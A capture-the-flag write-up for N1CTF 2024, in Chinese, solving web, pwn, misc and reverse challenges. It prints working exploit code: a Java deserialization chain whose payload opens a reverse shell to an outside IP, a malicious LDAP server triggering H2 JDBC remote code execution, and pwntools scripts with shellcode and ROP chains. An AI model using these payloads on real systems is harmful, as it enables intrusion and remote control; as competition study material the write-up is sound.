N1CTF 2024 By W&M

·
Write - Up no tag May 28, 2024
  • WEB
    • ezjava
    • LDAP
  • PWN
    • mazecodev1
    • 我一直win
  • MISC
    • flag_video_version
  • Reverse
    • Hot-Soup

WEB

ezjava

admin/admin 正常登录

访问source

提示不是jsrc用户,猜了一下 jsrc是 jwt key 就没有然后了

暂时无法在飞书文档外展示此内容

反序列化

黑名单如下

// 弱黑名单 通过bytes比较
java.util.HashMap
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.alibaba.fastjson.JSONArrayLlist



javax.management.BadAttributeValueExpException
com.sun.syndication.feed.impl.ToStringBean
java.security.SignedObject
com.sun.rowset.JdbcRowSetImpl

弱黑名单可以用utf-8-overlong直接绕过,墙黑名单ban了和没ban一样的,没啥区别,直接打jackson的pojonode就行了。exp如下

package com.javasec.pocs.jackson;

import com.alibaba.fastjson.JSONObject;
import com.fasterxml.jackson.databind.node.POJONode;
import com.javasec.utils.SerializeUtils;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.sql.DataSource;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;

/**
 * newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
 * getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
 * invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 * invoke:62, NativeMethodAccessorImpl (sun.reflect)
 * invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 * invoke:497, Method (java.lang.reflect)
 * serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
 * serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
 * serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
 * defaultSerializeValue:1148, SerializerProvider (com.fasterxml.jackson.databind)
 * serialize:115, POJONode (com.fasterxml.jackson.databind.node)
 * _serializeNonRecursive:105, InternalNodeMapper$WrapperForSerializer (com.fasterxml.jackson.databind.node)
 * serialize:85, InternalNodeMapper$WrapperForSerializer (com.fasterxml.jackson.databind.node)
 * serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
 * serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
 * _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
 * serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
 * serialize:1572, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
 * _writeValueAndClose:1273, ObjectWriter (com.fasterxml.jackson.databind)
 * writeValueAsString:1140, ObjectWriter (com.fasterxml.jackson.databind)
 * nodeToString:34, InternalNodeMapper (com.fasterxml.jackson.databind.node)
 * toString:238, BaseJsonNode (com.fasterxml.jackson.databind.node)
 * equals:392, XString (com.sun.org.apache.xpath.internal.objects)
 * equals:104, HotSwappableTargetSource (org.springframework.aop.target)
 * putVal:634, HashMap (java.util)
 * readObject:1397, HashMap (java.util)
 * invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 * invoke:62, NativeMethodAccessorImpl (sun.reflect)
 * invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 * invoke:497, Method (java.lang.reflect)
 * invokeReadObject:1058, ObjectStreamClass (java.io)
 * readSerialData:1900, ObjectInputStream (java.io)
 * readOrdinaryObject:1801, ObjectInputStream (java.io)
 * readObject0:1351, ObjectInputStream (java.io)
 * readObject:371, ObjectInputStream (java.io)
 * base64deserial:48, SerializeUtils (com.javasec.utils)
 * main:21, XstringTemplateChain (com.javasec.pocs.jackson)
 */
public class XstringTemplateChain {
    public static void main(String[] args) throws Exception{
        SerializeUtils.OverideJackson();
//        Templates templates = SerializeUtils.getTemplateByclass("/Applications/CTFLearning/JavaSec/target/production/JavaSec/com/javasec/memshell/HW/IndexController.class");
        Templates templates = SerializeUtils.getTemplate("bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3OCA8JjEi}|{base64,-d}|{bash,-i}");
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
//        JSONObject jsonObject = new JSONObject();
//        jsonObject.put("poc",templates);
        POJONode jsonNodes = new POJONode(proxy);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("123"));
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonNodes);
        // 执行序列化与反序列化,并且返回序列化数据
        HashMap<Object, Object> map = SerializeUtils.makeMap(h1, h2);
        System.out.println(base64serial(map));
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        CustomObjectOutputStream oos = new CustomObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
}

image-20240526231902471

直接sudo读flag就行了。

img

LDAP

img

actuator 接口泄露

暂时无法在飞书文档外展示此内容

Heapdump

{
  "_links": {
    "self": {
      "href": "http://10.233.71.102:8080/actuator",
      "templated": false
    },
    "beans": {
      "href": "http://10.233.71.102:8080/actuator/beans",
      "templated": false
    },
    "caches": {
      "href": "http://10.233.71.102:8080/actuator/caches",
      "templated": false
    },
    "caches-cache": {
      "href": "http://10.233.71.102:8080/actuator/caches/{cache}",
      "templated": true
    },
    "health-path": {
      "href": "http://10.233.71.102:8080/actuator/health/{*path}",
      "templated": true
    },
    "health": {
      "href": "http://10.233.71.102:8080/actuator/health",
      "templated": false
    },
    "info": {
      "href": "http://10.233.71.102:8080/actuator/info",
      "templated": false
    },
    "conditions": {
      "href": "http://10.233.71.102:8080/actuator/conditions",
      "templated": false
    },
    "configprops": {
      "href": "http://10.233.71.102:8080/actuator/configprops",
      "templated": false
    },
    "configprops-prefix": {
      "href": "http://10.233.71.102:8080/actuator/configprops/{prefix}",
      "templated": true
    },
    "env-toMatch": {
      "href": "http://10.233.71.102:8080/actuator/env/{toMatch}",
      "templated": true
    },
    "env": {
      "href": "http://10.233.71.102:8080/actuator/env",
      "templated": false
    },
    "loggers-name": {
      "href": "http://10.233.71.102:8080/actuator/loggers/{name}",
      "templated": true
    },
    "loggers": {
      "href": "http://10.233.71.102:8080/actuator/loggers",
      "templated": false
    },
    "heapdump": {
      "href": "http://10.233.71.102:8080/actuator/heapdump",
      "templated": false
    },
    "threaddump": {
      "href": "http://10.233.71.102:8080/actuator/threaddump",
      "templated": false
    },
    "metrics": {
      "href": "http://10.233.71.102:8080/actuator/metrics",
      "templated": false
    },
    "metrics-requiredMetricName": {
      "href": "http://10.233.71.102:8080/actuator/metrics/{requiredMetricName}",
      "templated": true
    },
    "scheduledtasks": {
      "href": "http://10.233.71.102:8080/actuator/scheduledtasks",
      "templated": false
    },
    "mappings": {
      "href": "http://10.233.71.102:8080/actuator/mappings",
      "templated": false
    }
  }
}

查看 mappings 发现 source 端点

img

源码泄露路由

@GetMapping("/lookup")
public String lookup(String path) {
    try {
        String url = "ldap://" + path;
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
        return "ok";
    }catch (NamingException e){
        return "failed";
    }
}

并且题目的环境是jdk17,这里就涉及到一个JDK17环境下的Ldap打法,我们先尽可能的搜集信息。

img

configprops根据hint去搜索pool,就只能看到Tomcat Connection,这里fuzz了一波发现是tomcat-jdbc依赖。我们可以配合h2去打一个rce就好。但是我们还需要注意一个东西

img

trustSerialData为false

img

那么就说明我们无法走ldap的deserialization路线,只能选择走下面的decodeRefence去配合ObjectFacotry打一个组合拳。而我们想走decodeRefence就需要设置javaNamingRefence

img

img

我们成功的进入了decodeReference,在这里我们会对我们传入的attrs做一个处理,去new一个Reference对象

img

我们选择我们的组合拳套餐。我们配合tomcat-jdbc去打h2,但这里还有个问题就是指定h2的jdbcUrl,这里我们需要利用到另一个变量

img

javaReferenceAddr,我们会取ldapserver给的这个值,然后对他做一个分隔处理。可以看到上图中用@隔开了变量名和值,传入了url为恶意的jdbc字符串。随之我们就会进入DatasourceFactory#getObjectInstance

img

最终发起H2连接RCE。

恶意Server内容如下

import java.net.*;
import java.text.ParseException;
import java.util.Base64;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class HackerLDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    ldap_port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#org.apache.tomcat.jdbc.pool.DataSourceFactory")));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + ldap_port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "javax.sql.DataSource");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            /** Payload1: Return Reference Factory **/
             e.addAttribute("javaCodeBase", cbstring);
             e.addAttribute("javaReferenceAddress", "@0@url@jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://8x/poc.sql'");
//             e.addAttribute("javaReferenceAddress", "@0@url@jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('open /')\n$$\n");
             e.addAttribute("objectClass", "javaNamingReference");
             e.addAttribute("javaFactory", this.codebase.getRef());
            String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://x/poc.sql'";
            e.addAttribute("driverClassName","org.h2.Driver");
            e.addAttribute("jdbcUrl",url);
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }

    public static void main(String[] args) throws Exception {

//        System.out.println("HttpServerAddress: "+args[0]);
//        System.out.println("HttpServerPort: "+args[1]);
//        System.out.println("LDAPServerPort: "+args[2]);
        String http_server_ip = "127.0.0.1";
        int ldap_port = 8089;
        int http_server_port = 8001;

        CodebaseServer.lanuchCodebaseURLServer(http_server_ip, http_server_port);
        lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
    }
}

img

PWN

mazecodev1

shellcode题, 需要shellcode 模4能走过迷宫

#########################################
#S    #   #           #         #       #
##### # # ######### ### ### ### # ### # #
#   #   #   #     #     #   #   #   # # #
### ####### # ### ### ### ####### ### # #
#   #     #   # #   # #   #     # #   # #
# # ### ####### ### # # # # ### # # ### #
# #   #     #     # # # # #   #   # # # #
# ### # # ### ### # ### ##### ##### # # #
#   # # #     # # #   #     # # #   #   #
### # ####### # # ### # # ### # # ### ###
#   # #     # # #   # # #     # # # # # #
# ### # ### # # # # # ####### # # # # # #
# # #   # # #   # # # #     #   # #   # #
# # ##### # ##### # # # ### ##### # ### #
# #   #   # #     # #   # #   #   #   # #
# ### # # # # ### ####### ### # ##### # #
#   # # #   # #   #         #   #     # #
### # # ##### # ### # ########### ##### #
#   # #       #   # #         #   #     #
# ### ##### ####### ######### # ### ### #
#   #       #       #       # # #     # #
# # ### ##### ##### # ##### # # ##### # #
# #   # # #   #   # #   # #   #   #   # #
##### # # # ### # ### # # # ##### # #####
#     #   # # # #   # # # # #     #     #
# ### ##### # # ### ### # # # ######### #
# # # #     # # #       #   #     #     #
# # # # ##### # ### ############# # ### #
# #   # #     #   # #     #     #   # # #
# # ### # ####### # # ### # # # ##### # #
# # #   #   #   # # #   #   # #   # #   #
# # # ### # # # # # ### ##### ### # # ###
# # # #   #   # # #   # #   # #     #   #
# ### # ####### # ### # # # # ######### #
# #   # #       #   # #   # #     #   # #
# # ##### ##### ### ####### ##### # # # #
#   #     #   #   # #     #     # # #   #
# ##### ### # ### # # ### ##### # # #####
#       #   #     #     #       #      T#
#########################################

路径:

\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x02\x02\x01\x01\x02\x02\x02\x02\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x02\x02\x02\x02\x02\x02\x02\x02\x03\x03\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x03\x03\x02\x02\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x02\x02\x03\x03\x00\x00\x03\x03\x02\x02\x02\x02\x01\x01\x01\x01

Sinal byte code:

&3 = 0

   0:   40                      rex
   0:   44                      rex.R
   0:   48                      rex.W
   0:   4c                      rex.WR
   0:   50                      push   rax
   0:   54                      push   rsp
   0:   58                      pop    rax
   0:   5c                      pop    rsp
   0:   90                      nop
   0:   94                      xchg   esp, eax
   0:   98                      cwde
   0:   9c                      pushf
   0:   a4                      movs   BYTE PTR es:[rdi], BYTE PTR ds:[rsi]

&3 = 1

   0:   41                      rex.B
   0:   45                      rex.RB
   0:   49                      rex.WB
   0:   4d                      rex.WRB
   0:   51                      push   rcx
   0:   55                      push   rbp
   0:   59                      pop    rcx
   0:   5d                      pop    rbp
   0:   91                      xchg   ecx, eax
   0:   95                      xchg   ebp, eax
   0:   99                      cdq
   0:   9d                      popf
   0:   c9                      leave

&3 = 2

   0:   42                      rex.X
   0:   46                      rex.RX
   0:   4a                      rex.WX
   0:   4e                      rex.WRX
   0:   52                      push   rdx
   0:   56                      push   rsi
   0:   5a                      pop    rdx
   0:   5e                      pop    rsi
   0:   92                      xchg   edx, eax
   0:   96                      xchg   esi, eax

&3 = 3

   0:   43                      rex.XB
   0:   47                      rex.RXB
   0:   4b                      rex.WXB
   0:   4f                      rex.WRXB
   0:   53                      push   rbx
   0:   57                      push   rdi
   0:   5b                      pop    rbx
   0:   5f                      pop    rdi
   0:   93                      xchg   ebx, eax
   0:   97                      xchg   edi, eax
   0:   c3                      ret

Code:

"\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x02\x02\x01\x01\x02\x02\x02\x02\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x02\x02\x02\x02\x02\x02\x02\x02\x03\x03\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x03\x03\x02\x02\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x02\x02\x03\x03\x00\x00\x03\x03\x02\x02\x02\x02\x01\x01\x01\x01"



# lea rsi, [rip] = 0x48 0x8d 0x35 0x0 0x0 0x0 0x0 
# ->\x00\x01\x01\x00\x00\x00\x00

# # syscall
# 0x0f 0x5f 

# syscall = \x03\x01  可以在任意\x03前插入 \x03\x01\x02
from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./pwn')
exe = context.binary = ELF(exe_path)
# libc = ELF('')

host = "116.198.74.135"
port = 35285
if sys.argv[1] == 'r':
    p = remote(host, port)
elif sys.argv[1] == 'p':
    p = process(exe_path)  
else:
    p = gdb.debug(exe_path, 'b * 0x401744')

def gdb_pause(p):
    gdb.attach(p)  
    pause()


res_s= b"\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x02\x02\x01\x01\x02\x02\x02\x02\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x02\x02\x02\x02\x02\x02\x02\x02\x03\x03\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x03\x03\x02\x02\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x02\x02\x03\x03\x00\x00\x03\x03\x02\x02\x02\x02\x01\x01\x01\x01"

res = b"\x95\x95\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x92\x92\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x92\x92\x95\x95\x92\x92\x92\x92\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x90\x90\x90\x90\x90\x90\x95\x95\x90\x90\x90\x90\x95\x95\x90\x90\x90\x90\x95\x95\x92\x92\x92\x92\x92\x92\x92\x92\x93\x93\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x93\x93\x92\x92\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x95\x95\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x92\x92\x93\x93\x90\x90\x93\x93\x92\x92\x92\x92\x95\x95\x95\x95"

# res = b"\x95\x95\x95\x95\x92"
#"\x92\x95\x95\x90\x90\x95\x95
#\x92\x92\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x92\x92\x95\x95\x92\x92\x92\x92\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x95\x95\x90
# \x90\x95\x95\x90\x90\x90\x90 \x90
# 
# #\x90\x95\x95\x90\x90\x90\x90\x95\x95\x90\x90\x90\x90\x95\x95\x92\x92\x92\x92\x92\x92\x92
#\x92\x93
#\x93\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x93\x93\x92\x92\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x95\x95\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x92\x92\x93\x93\x90\x90\x93\x93\x92\x92\x92\x92\x95\x95\x95\x95"

res1 = b"\x95\x95\x95\x95\x92"

res2 = asm("mov al, 0x06")

res3 = b"\x92\x90\x92\x95\x95"+asm("add al, 0x4")+b"\x95\x95"

res4 = asm("mov si, 0x1000")

res5 = b"\x92\x92\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x92\x92\x95\x95\x92\x92\x92\x92\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x95\x95\x90"

res6 = asm("lea rdi, [rip]") 

res7 = b"\x90\x90\x95\x95\x90\x90\x90\x90\x95\x95\x90\x90"+asm("sub dil, 0x4d")+b"\x95\x95\x92\x92\x92\x92\x92\x92\x92\x90\x92"

res8 = asm("mov dl, 0x7") + asm("syscall")

# res9 = b"\x93\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x93\x93\x92\x92\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x95\x95\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x92\x92\x93\x93\x90\x90\x93\x93\x92\x92\x92\x92\x95\x95\x95\x95"

res9 = b"\x93\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95" +asm("mov dh, 0x2") + asm("xor al,al")+b"\x92\x92\x93\x93\x93\x93\x92\x92\x93\x93\x92\x92\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x95\x95\x95\x95\x92\x92\x95\x95\x90"+asm("lea rsi, [rdi]")+b"\x92"+asm("xor rdi, rdi")+b"\x95"

res9+=b"\x95\x95\x95\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x92\x92\x93\x93\x90\x90\x93\x93\x92\x92\x92\x92\x90\x92\x95"+asm("syscall")+b"\x95\x95\x95"

# mov dh, 0x2 \x92\x92

# xor al,al \x90\x90

# mov rsi, rdi \x90\x95\x93
# xor dil, dil \x90\x95\x93

# res7 = b"\x93\x92\x92\x92\x92\x93\x93\x92"
# res8 = asm("xor ")

# res7 = asm("syscall")

# res3 = b"\x95\x95\x90\x90\x90\x90\x95\x95\x90\x90\x90\x90\x95\x95\x92\x92\x92\x92\x92\x92\x92"

# res4 = asm("mov dl, 0xff")

# # res5 = asm("syscall")

# res6 = b"\x93\x92\x92\x92"

# res7 = asm("mov dl, 0x")

# # \x92\x93
# "\x93\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x93\x93\x92\x92\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x95\x95\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x92\x92\x93\x93\x90\x90\x93\x93\x92\x92\x92\x92\x95\x95\x95\x95"

# res = res1+res2+res3+res4+res5+res6

# lea rsi, [rip] = 0x48 0x8d 0x35 0x0 0x0 0x0 0x0 
# ->\x90\x95\x95\x90\x90\x90\x90
# \x92\x93

# 0xb20xff%    
# syscall = \x93\x95

# mov dl, 0xff
# \x92\x93

# 0xb20xff%  

# mov al, 0x0a > \x90\x92

# xor al, al > \x90\x90

# \x90 >                         nop
# \x95 > 95                      xchg   ebp, eax
# \x92 > 96                      xchg   esi, eax
# \x93 > 93                      xchg   ebx, eax

def pwn():

    # print("num"+str(num))
    payload = res1 + res2 + res3 + res4 + res5 + res6 + res7 + res8 + res9
    if b"\n" in payload:
        print("newline")


    shellcode = """
    mov rax, 0x3b
    mov rcx, 0x68732f6e69622f
    mov rdi, 0x4040B0
    mov [rdi], rcx
    xor rdx, rdx
    xor rsi, rsi
    syscall
    """



    p.sendline(payload)

    # print(len(res))
    # pause()
    p.sendline(asm(shellcode).rjust(0x200, asm("nop")))
    p.interactive()



pwn()

我一直win

rust写的游戏

Maybe 灵感来源于 2024defcon Q saferust

两个进程race condition,有printf地址,还需要绕过一个seccomp

img

from pwn import *
context.timeout = 3

tokens = 5

def init():
    # r = process('./', level="error")
    r = remote("116.198.74.135",53024)
    r.recvuntil(b"username:")
    r.sendline(b"publicqi")
    r.recvuntil(b"password:")
    r.sendline(b"fuxk")
    return r

def do_save(r):
    r.recvuntil(b"What would you like to do?")
    r.sendline(b"2")

def do_guess(r, guess=b"3"):
    global tokens
    r.recvuntil(b"What would you like to do?")
    r.sendline(b"1")
    r.recvuntil(b"Guess a number between 0 and 5:")
    r.sendline(guess)
    result = r.recvuntil(b"tokens")
    r.recvuntil(b"----------------------------------------------")
    buf = r.recvuntil(b"tokens.")
    # print(b"buf:"+buf)
    tokens =  int(re.search(r'\d+', buf.decode()).group(), 10)


    return b"Congratulations" in result

def fuxk():
    global tokens

    guessing_process = init()
    do_save(guessing_process)
    saving_process = init()

    while tokens < 83886080*4:
        print(f"tokens: {tokens}")

        if do_guess(guessing_process):
            # tokens *= 2
            do_save(guessing_process)
            # tokens *= 2
            saving_process.close()
            saving_process = init()
        else:
            do_save(saving_process)
            guessing_process.close()
            guessing_process = init()


    try:
        guessing_process.close()
        saving_process.close()
    except EOFError:
        pass

def Write(addr,payload):
    p.recvuntil(b"Addr")
    p.send(addr)
    p.recvuntil(b"Content:")
    p.send(payload)

# os.system("rm /tmp/saved_users.json")
fuxk()
libc = ELF("./libc.so.6")
r = init()
p = r
p.recvuntil(b">")
p.sendline(b"2")
p.recvuntil(b"0x")
printf_addr = int(p.recv(12),16)
print(hex(printf_addr))
libc_base = printf_addr - libc.sym["printf"]
print(hex(libc_base))
got0 = libc_base + 0x21a000
strlen_got = got0 + 0x98
memset_got = got0 + 0xd8
magic_gadget = 0x167E11 + libc_base
m_addr2 = 0xC5BF8  + libc_base
Write(p64(strlen_got-0x8),p64(0x9034B + libc_base)+p64(magic_gadget) + p64(libc_base + libc.sym["gets"])*2 )
pop_rdi_ret = 0x000000000002a3e5 + libc_base
pop_rsi_ret = 0x000000000002be51 + libc_base
pop_rdx_r12_ret = 0x000000000011f2e7 + libc_base
pop_rax_ret = libc_base + 0x0000000000045eb0
syscall_ret = 0x0000000000091316 + libc_base
pop_rsp_ret = 0x0000000000035732 + libc_base
free_hook = libc_base + libc.sym["__free_hook"]
free_hook1 = free_hook & ~0xfff

payload = p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(free_hook1)
payload += p64(pop_rdx_r12_ret) + p64(0x10000) + p64(0)
payload += p64(pop_rax_ret) + p64(0) + p64(syscall_ret)
payload += p64(pop_rsp_ret) + p64(free_hook1)
# attach(p)

p.sendline(payload)
payload = p64(pop_rdi_ret) + p64(0xffffffffffffffff)
payload += p64(pop_rsi_ret) + p64(free_hook1 + 0x300)
payload += p64(pop_rdx_r12_ret) + p64(0) + p64(0)
payload += p64(pop_rax_ret) + p64(257) + p64(syscall_ret)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(free_hook1 + 0x400)
payload += p64(pop_rdx_r12_ret) + p64(0x100)*2
payload += p64(pop_rax_ret) + p64(0) + p64(syscall_ret)

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(free_hook1 + 0x400)
payload += p64(pop_rdx_r12_ret) + p64(0x100)*2
payload += p64(pop_rax_ret) + p64(1) + p64(syscall_ret)

payload = payload.ljust(0x300,b"\x00")
payload += b"/flag"
p.send(payload)

r.interactive()

MISC

flag_video_version

udp12345端口传奇怪协议,和去年一样

开头传了个sdp.txt,简单了解一下,得知是sdp协议,并且这里是H264编码

对着udp流右键选decode as,然后选rtp就可以清晰的看到协议格式了

img

同时可以清楚的看到还分序列号

先全部提取出来

tshark -r challenge.pcapng -T fields -Y "udp" -e data.data | sed '/^\s*$/d' > 1.txt

然后根据wireshark的解析提纯,再按照序列号进行排序

f = open("1.txt").readlines()

all = {}
for i in f:
    ii = i.strip()
    seq = int(ii[4:8], 16)
    data = ii[24:]
    all[seq] = data

with open("out.mp4", "wb")as out:
    for i in range(1246):
        out.write(bytes.fromhex(all[i]))

就得到flag了

Reverse

Hot-Soup

动调能扒出来一个ax文件 start.ax

https://github.com/YSRKEN/HSP-Decompiler/releases/tag/Ver.1.1

反编译ax为hsp hsp文件中包含调用的函数信息 是wincrypt的函数 结合在对应API调试写出解密代码

#include <windows.h>  
#include <wincrypt.h>  
#include <stdio.h>  
